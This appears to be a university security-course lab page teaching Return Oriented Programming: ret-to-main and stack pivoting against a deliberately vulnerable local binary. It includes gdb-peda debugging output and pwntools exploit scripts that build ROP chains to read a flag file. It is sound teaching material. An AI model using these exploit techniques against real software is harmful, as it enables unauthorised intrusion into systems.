This is an old revision of the document!


Lab 11 - Return Oriented Programming (Part 2)

Resources

Supporting files

You will use this lab archive throughout the lab.

Please download the lab archive an then unpack it using the commands below:

$ wget http://elf.cs.pub.ro/oss/res/labs/lab-11.tar.gz
$ tar xzf lab-11.tar.gz

After unpacking, you will get the lab-11/ folder:

$ cd lab-11/
$ ls -F
flag  Makefile  task1*  task1.c

Introduction

In this lab, we will resume from where we left off our last session.

In many real-life cases you will encounter, a vulnerability will consist of a small buffer overflow, which will not allow you to chain a list of gadgets of arbitrary length. However, there are techniques to circumvent this. Today, we will look at two of these techniques.

Ret-to-vuln

Should you need to ret to multiple functions, but you only have space for two or three, then you can choose to return to main again, or to the function in which the bug is present.

Stack pivoting

A more elegant solution is to “pivot” the stack. Suppose there are additional constraints imposed such that it is impossible to return and repeat the overflow.

Pivoting the stack basically means getting ESP to point elsewhere in memory, preferably a read-writable location which we control.

Supposing we find such a region in memory, we can simply return to a call read and simulate a call to read(0, pivot, size);. The pivot address will contain a fabricated stack containing a ropchain of (nearly) arbitrary size.

But how do we get ESP to point to a different region in memory? If you think about the leave instruction, which roughly does the following, you will begin to see an answer:

mov esp, ebp
pop ebp

Hence, when we overwrite the stored frame pointer, we can set its value to where we'll want ESP to point to.

Tasks

1. Return to main [4p]

Analyze the source file task1.c. See if you can spot the vulnerability.

The goal of the task is to get the contents of the flag file through the binary. In order to do this, we need to chain three functions together.

Tutorial: Finding the return address offset [1p]

# gdb ./task1
gdb-peda$ pattc 0x40
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
Starting program: /task1 
Welcome to our Retired Old Programmers message board!
Please leave a message: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
Program received signal SIGSEGV, Segmentation fault.
 
[----------------------------------registers-----------------------------------]
EAX: 0x40 ('@')
EBX: 0x0 
ECX: 0xff838de8 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\274\216\203\377")
EDX: 0x40 ('@')
ESI: 0xf76e0000 --> 0x1aedb0 
EDI: 0xf76e0000 --> 0x1aedb0 
EBP: 0x41304141 ('AA0A')
ESP: 0xff838e18 ("bAA1AAGAAcAA2AAH\274\216\203\377")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xff838e18 ("bAA1AAGAAcAA2AAH\274\216\203\377")
0004| 0xff838e1c ("AAGAAcAA2AAH\274\216\203\377")
0008| 0xff838e20 ("AcAA2AAH\274\216\203\377")
0012| 0xff838e24 ("2AAH\274\216\203\377")
0016| 0xff838e28 --> 0xff838ebc --> 0xff83a1b0 ("LC_PAPER=ro_RO.UTF-8")
0020| 0xff838e2c --> 0x0 
0024| 0xff838e30 --> 0x0 
0028| 0xff838e34 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44

Our return address is at offset 44 and the total amount read is 64. That leaves us room for 5 gadgets, which are not enough to call three functions with 3 arguments in total.

Tutorial: Opening the flag file and returning to main [1p]

Let's think about how a small ropchain needs to look like if we want to: 1. Return to the function which opens the flag file. 2. Pass it the correct argument. 3. Return to main afterwards.

[ESP]   <address_of_stop>
[ESP+4] <address_of_main>
[ESP+8] <valid_argument_for_stop>

We'll need to save a few useful addresses:

# nm task1 | egrep "main|stop|right|there|play"
0804862d T main
080485fb T play
08048571 T right
0804851b T stop
080485d1 T there

Let's start writing our exploit script.

#!/usr/bin/env python
from pwn import *
 
io = process('./task1')
 
# Useful values
ret_offset = 44
main_addr = 0x0804862d
play_addr = 0x080485fb
open_flag = 0x0804851b
open_key = 0x4ABADA55
 
# Construct payloads
payload_to_ret = 'A'*(ret_offset-4) + p32(play_addr-4)
 
payload1 = payload_to_ret
payload1 += p32(open_flag)
payload1 += p32(main_addr)
payload1 += p32(open_key)
 
io.recvline()
io.recvline()
io.sendline(payload1)
 
io.interactive()

Let's test this code to see if it works:

# ./test.py 
[+] Starting local process './task1': Done
[*] Switching to interactive mode
-> secret vault opened
Welcome to our Retired Old Programmers message board!
Please leave a message: 
$ 
[*] Stopped program './task1'

Reading and printing the flag [2p]

Build two more similar payloads to send, one to return to the function which reads the contents of the flag and another which prints the flag. Remember to return to main in order to be able to chain the two together.

2. Stack pivoting [6p]

For this task, we will be using the same binary. This time, we will pivot the stack before supplying our ROP chain.

Tutorial: Finding a place to pivot [1p]

We can use gdb-peda to see the memory mappings of a binary at runtime.

gdb-peda$ start
gdb-peda$ vmmap
Start      End        Perm     Name
0x08048000 0x08049000 r-xp     task1
0x08049000 0x0804a000 r--p     task1
0x0804a000 0x0804b000 rw-p     task1
0xf75e9000 0xf75ea000 rw-p     mapped
0xf75ea000 0xf7797000 r-xp     /lib32/libc-2.23.so
0xf7797000 0xf7799000 r--p     /lib32/libc-2.23.so
0xf7799000 0xf779a000 rw-p     /lib32/libc-2.23.so
0xf779a000 0xf779e000 rw-p     mapped
0xf77c3000 0xf77c5000 r--p     [vvar]
0xf77c5000 0xf77c6000 r-xp     [vdso]
0xf77c6000 0xf77e8000 r-xp     /lib32/ld-2.23.so
0xf77e8000 0xf77e9000 rw-p     mapped
0xf77e9000 0xf77ea000 r--p     /lib32/ld-2.23.so
0xf77ea000 0xf77eb000 rw-p     /lib32/ld-2.23.so
0xffba5000 0xffbc6000 rw-p     [stack]

The region beginning at 0x0804a000 looks suitable, but just to be safe, let's not choose the starting address.

gdb-peda$ x/20xw 0x0804a000
0x804a000:	0x08049f14	0xf77ea918	0xf77daed0	0x080483a6
0x804a010:	0x080483b6	0x080483c6	0x080483d6	0x080483e6
0x804a020:	0x080483f6	0xf7602540	0x00000000	0x00000000
0x804a030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a040 <stdout@@GLIBC_2.0>:	0xf7799d60	0x00000000	0x00000000	0x00000000
gdb-peda$ x/20xw 0x0804ad00
0x804ad00:	0x00000000	0x00000000	0x00000000	0x00000000
0x804ad10:	0x00000000	0x00000000	0x00000000	0x00000000
0x804ad20:	0x00000000	0x00000000	0x00000000	0x00000000
0x804ad30:	0x00000000	0x00000000	0x00000000	0x00000000
0x804ad40:	0x00000000	0x00000000	0x00000000	0x00000000

Apart from the reason that values are not zero at the starting address, there's also the risk of the stack pointer going off bounds into values lower than the starting address, where there is no write permission.

Tutorial: First stage payload [2p]

We need to find a sequence of instructions akin to:

call read
leave
ret

If we look around in the disassembled functions, we notice that play has just what we need at the end:

   0x08048623 <+40>:	call   0x80483a0 <read@plt>
   0x08048628 <+45>:	add    esp,0xc
   0x0804862b <+48>:	leave  
   0x0804862c <+49>:	ret

We will use this sequence to pivot the stack.

Our payload must do a call to read(0, pivot, size);, so it should look as follows when reaching ret:

[ESP-4]  <pivot-4>       # Overwrite EBP
[ESP]    <call read>
[ESP+4]  0x0             # stdin
[ESP+8]  <pivot>         # "buffer"
[ESP+12] 0x200           # size

With all the pieces in place, we should have a working pivoting payload:

#!/usr/bin/env python
from pwn import *
 
io = process('./task1')
 
# Useful values
ret_offset = 44
call_read = 0x08048623
pivot = 0x0804ad00
 
# Construct payloads
 
payload1 = 'A'*(ret_offset-4)
payload1 += p32(pivot-4)
payload1 += p32(call_read)
payload1 += p32(0)
payload1 += p32(pivot)
payload1 += p32(0x200)
 
log.info(io.recvline())
log.info(io.recvline())
gdb.attach(io)
raw_input("Send payload?")
io.sendline(payload1)
 
io.interactive()

In order to see pivoting in action, do the following:

# ./test.py
[+] Starting local process './task1': Done
[*] Welcome to our Retired Old Programmers message board!
[*] Please leave a message: 
[*] running in new terminal: gdb -q  "/task1" 4770
[+] Waiting for debugger: Done
Send payload? 

This will spawn a new gdb-peda window. Set a breakpoint at the return address of play (0x0804862c) then continue. In the other window (the one waiting for you to answer Send payload?), hit Enter. You will notice gdb hits the breakpoint and now you can single step (via ni).

Once you reach call read, gdb will block. In the pwntools interactive window, give an input such as AAAA to complete the read call and unblock gdb. Continue stepping until you reach the leave instruction. Notice how the value of ebp+4 gets written over esp. The following ret instruction will take you to your pivot address, at which you will find your AAAA.

Second stage payload [2p]

Now you are set to write a fully working ropchain to sequentially call the three functions in order to open, read and print the contents of the flag file.

Hint: You will need to find a pop;pop;ret gadget. You can use it even for functions with a single argument by simply writing the argument twice.

cns/labs/lab-11.1481531485.txt.gz · Last modified: 2016/12/12 10:31 by vladimir.diaconescu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0